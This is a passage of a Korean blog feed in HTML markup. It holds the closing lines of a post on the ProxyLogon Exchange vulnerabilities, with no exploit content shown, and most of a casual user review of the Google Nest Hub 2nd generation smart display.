this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;.txt 파일 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휴 다 썼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 패치는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;항상 최신 버전으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유지하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;관련 글&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/153&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.07 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/154&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.09 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석&lt;/a&gt;&lt;/p&gt;</description>
      <category>Study/CVE PoC Test</category>
      <category>CVE-2021-26855</category>
      <category>CVE-2021-27065</category>
      <category>EXCHANGE</category>
      <category>Microsoft</category>
      <category>ProxyLogon</category>
      <category>RCE</category>
      <category>SSRF</category>
      <category>원격 코드 실행</category>
      <category>취약점</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/157</guid>
      <comments>https://chmodi.tistory.com/157#entry157comment</comments>
      <pubDate>Thu, 14 Oct 2021 12:52:56 +0900</pubDate>
    </item>
    <item>
      <title>[인공지능 스피커] 구글 네스트 허브 2세대(Google Nest Hub 2nd Generation) 실사용 후기</title>
      <link>https://chmodi.tistory.com/156</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;스마트홈에 입문시켜 준&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Naver Clova On+가 사망하셨습니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2년 썼으면 많이 썼지모...ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이젠 AI스피커가 없으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안되는 몸이 되어버렸기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;계획적으로&lt;/s&gt; 부랴부랴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Google Nest Hub 2nd Generation&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;을 해외직구로 구매했습니다. ㅎㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 이거야 이거!!!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 Google Nest Hub Gen 2는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 몇 년 동안&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제발 나왔으면 하는 형태를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그대로 갖추고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;1.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MHwHy/btrfQFGwCwG/1tlWLLprQMflsSvSHY0Oc1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MHwHy/btrfQFGwCwG/1tlWLLprQMflsSvSHY0Oc1/img.jpg&quot; data-alt=&quot;이거야! 이거!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MHwHy/btrfQFGwCwG/1tlWLLprQMflsSvSHY0Oc1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMHwHy%2FbtrfQFGwCwG%2F1tlWLLprQMflsSvSHY0Oc1%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;1.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이거야! 이거!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- Display&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째는 마치 태블릿 처럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디스플레이를 가지고 있다는 점입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태블릿처럼 사용자가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면 구성을 커스터마이징할 수 있을 지는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모르겠으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;u&gt;&lt;b&gt;실시간 시계 표시!&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;쨍한 화면!&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;동영상 시청 가능!&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 세가지 만으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 장점은 충분하다고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아, 실시간 시계가 적힌 이유는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 LED 시계 그 어떤 제품을 사도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실시간 연동이 안되기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 주기적으로 시간을 다시 맞춰줘야 하는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얘는 그럴 필요가 없다는 거...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇 년 전에 이거 되는 시계 찾으려고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허비한 시간이...ㅠㅠ&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- No Battery, only AC adapter&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 집에서 쓰는 제품들은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배터리가 있는 걸 무척 싫어합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(노트북 배터리도 제거하고 쓸 정도...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어차피 그자리에서 이동도 하지 않는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오래 내비두면 배터리가 부풀기 때문...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배터리 넣고 가격 올리느니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배터리 빼고 가격 낮췄으면...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글은 뭘 좀 아는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공간이 충분해도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배터리를 빼버렸어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;근데, 가격을 낮춘건지는 모르겠어요.&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;하긴, 기능에 비하면...&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;2.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZu6kh/btrfMsgWsYb/dLYz9EjkbMzWV0roTA4KIk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZu6kh/btrfMsgWsYb/dLYz9EjkbMzWV0roTA4KIk/img.jpg&quot; data-alt=&quot;근데 해외 직구라 돼지코 필요....&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZu6kh/btrfMsgWsYb/dLYz9EjkbMzWV0roTA4KIk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZu6kh%2FbtrfMsgWsYb%2FdLYz9EjkbMzWV0roTA4KIk%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;2.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;근데 해외 직구라 돼지코 필요....&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미국 직구 제품이라 v110 Adapter 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프리볼트 제품이기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 &lt;u&gt;&lt;b&gt;v220 전환 돼지코&lt;/b&gt;&lt;/u&gt;를 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&lt;u&gt;&lt;b&gt;철물점 500원, 다이소에 없어요&lt;/b&gt;&lt;/u&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://coupa.ng/b7LRMA&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;쿠팡엔 있어요.&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1632395305410&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;슬림 멀티플러그 한국형 NO 0215&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b7LRMA&quot; data-og-url=&quot;https://www.coupang.com/vp/products/61794933&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/T42pj/hyLI6yquF5/ksO0vkEYnyvLHyw1qePEb1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b7LRMA&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b7LRMA&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/T42pj/hyLI6yquF5/ksO0vkEYnyvLHyw1qePEb1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;슬림 멀티플러그 한국형 NO 0215&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- Motion Sense&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모션 인식이 추가되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단한 동작(퀵 제스쳐)가 가능하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;손바닥을 기기에 가져다 대는 것으로&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;미디어를 일시 중지 또는 재생할 수 있으며,&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;손을 흔들어 알람 및 타이머를 중지&lt;/b&gt;&lt;/u&gt;시킬 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜, 가끔 말귀 못알아먹을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(특히, 자고일어난 아침)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짜증 많이 나는 데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제스쳐나 터치로 조작이 가능하니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마음이 편합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 수면 상태 체크...&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불면증 있을 때,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몸과 뇌를 혹사 시켜&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피로로 치료한 나로써는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(잠 안온다 = 오늘 놀았네)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 좋은 건지는 모르겠으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 고통을 모르는 것도 아니기에...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신기하기도 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나에 대해 더 알게되기도 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기술의 발전이 대단하기도 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 개선이 필요한 것 같지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트 워치 없이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수면 패턴 측정이 가능하다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;1368&quot; data-filename=&quot;unnamed.webp&quot; width=&quot;500&quot; height=&quot;500&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJzRFW/btrfPCcuk9u/4IOE5QSUjKQbZKWIwuTRU1/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJzRFW/btrfPCcuk9u/4IOE5QSUjKQbZKWIwuTRU1/img.webp&quot; data-alt=&quot;그래도 신기하다고 꼭 쓴다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJzRFW/btrfPCcuk9u/4IOE5QSUjKQbZKWIwuTRU1/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJzRFW%2FbtrfPCcuk9u%2F4IOE5QSUjKQbZKWIwuTRU1%2Fimg.webp&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;1368&quot; data-filename=&quot;unnamed.webp&quot; width=&quot;500&quot; height=&quot;500&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그래도 신기하다고 꼭 쓴다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개봉!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새식구가 왔는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개봉이 빠질 순 없지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 외부 포장&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음...추석 연휴 기간 배송이어서 그런가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;귀성길이 많이 힘들었나보다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;4.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJf4Av/btrfG2Q0Aur/fLa4qCDqn4pBhOHDuRFry1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJf4Av/btrfG2Q0Aur/fLa4qCDqn4pBhOHDuRFry1/img.jpg&quot; data-alt=&quot;내 박스...ㅠㅠ&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJf4Av/btrfG2Q0Aur/fLa4qCDqn4pBhOHDuRFry1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJf4Av%2FbtrfG2Q0Aur%2FfLa4qCDqn4pBhOHDuRFry1%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;4.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;내 박스...ㅠㅠ&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박스 옆에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연동 가능한&amp;nbsp;서비스들이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적혀있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
